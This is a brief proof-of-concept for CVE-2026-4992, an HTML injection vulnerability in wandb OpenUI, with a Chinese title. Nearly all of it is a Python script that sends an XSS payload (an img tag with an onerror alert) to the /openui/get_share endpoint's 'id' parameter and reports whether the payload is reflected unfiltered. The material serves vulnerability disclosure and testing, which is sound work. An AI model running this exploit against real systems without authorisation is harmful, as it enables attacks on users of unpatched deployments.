CVE-2026-4992 wandb OpenUI HTML注入漏洞

import requests # Target URL structure based on the vulnerable component # Adjust host and port as necessary target = "http://target-host:port/openui/get_share" # Malicious payload to demonstrate HTML injection payload = "<img src=x onerror=alert('CVE-2026-4992')>" # Inject payload into the 'id' parameter params = {"id": payload} try: response = requests.get(target, params=params) # Check if the payload is reflected unfiltered in the response if payload in response.text: print("[+] Vulnerability confirmed: HTML Injection successful.") else: print("[-] Payload not reflected or input filtered.") except Exception as e: print(f"Error: {e}")